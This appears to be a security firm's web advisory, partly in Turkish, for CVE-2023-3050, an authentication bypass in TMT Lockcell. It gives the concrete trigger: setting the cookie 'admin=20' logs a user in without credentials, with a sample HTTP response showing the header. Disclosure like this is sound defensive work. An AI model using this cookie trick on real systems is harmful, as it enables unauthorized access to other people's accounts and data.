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CVE-2023-3050 Reliance on Cookies without Validation and
Integrity Checking in a Security Decision vulnerability in TMT

Lockcell allows Privilege Abuse, Authentication Bypass
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CVE-2023-3050 Reliance on Cookies without
Validation and Integrity Checking in a Security
Decision vulnerability in TMT Lockcell allows

Privilege Abuse, Authentication Bypass
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CVE-ID: CVE-2023-3050

Author: Efe Özel

Team: Ömer Yılmaz – Murat Öztürk

Parameter: Set-Cookie: admin=20
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Details: If we set the admin’s cookie value to 20 as i have given in the example below, we can
log in to the system without entering any credentials. We can also change the cookie value
manually

HTTP RESPONSE
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HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=utf-8

Location: /

Server: Microsoft-IIS/10.0

X-AspNetMvc-Version: 5.2

X-AspNet-Version: 4.0.30319

Set-Cookie: admin=20; expires=Mon, 19-Jun-2023 14:10:10 GMT; path=/

X-Powered-By: ASP.NET

Date: Mon, 19 Jun 2023 08:05:10 GMT

Connection: close

Content-Length: 118

<html><head><title>Object moved</title></head><body>

<h2>Object moved to <a href="/">here</a>.</h2>

</body></html>

İlgili Yazılar

Cisco IP Telefonlarında Kritik Güvenlik Açığı Keşfedildi

Cisco, IP telefon web sunucusunda kimliği doğrulanmamış bir saldırgan tarafından uzaktan kod yürütülmesine
olanak sağlayan kritik bir güvenlik açığının önüne...

DEVAMI...
(https://fordefence.com/cisco-ip-telefonlarinda-kritik-guvenlik-acigi-kesfedildi/)


(
p

6/1/26, 12:13 PM CVE-2023-3050 Reliance on Cookies without Validation and Integrity Checking in a Security Decision vulnerability …

https://fordefence.com/cve-2023-3050-reliance-on-cookies-without-validation-and-integrity-checking-in-a-security-decision-vulnerab… 3/6

https://fordefence.com/cisco-ip-telefonlarinda-kritik-guvenlik-acigi-kesfedildi/
https://api.whatsapp.com/send?phone=905385943689


26 Ocak 2024

2020 Yaz Dönemi Staj Başvuruları Hakkında

Covid-19 salgını nedeniyle 2020 yaz döneminde stajer öğrenci alımı yapılmayacaktır. Fordefence Adli Bilişim
Laboratuvarı...

DEVAMI...
(https://fordefence.com/2020-yaz-donemi-staj-basvurulari-hakkinda/)
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Covid-19 tedbirlerinden Mobil cihaz temizliği nasıl olmalı
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Ceo’muz Mustafa SANSAR Haber Global Ana Haber’e ‘Covid-19 tedbirlerinden, Mobil cihaz temizliği nasıl
olmalı’ Konularında görüşlerini aktardı. ...

DEVAMI...
(https://fordefence.com/covid-19-tedbirlerinden-mobil-cihaz-temizligi-nasil-olmali/)
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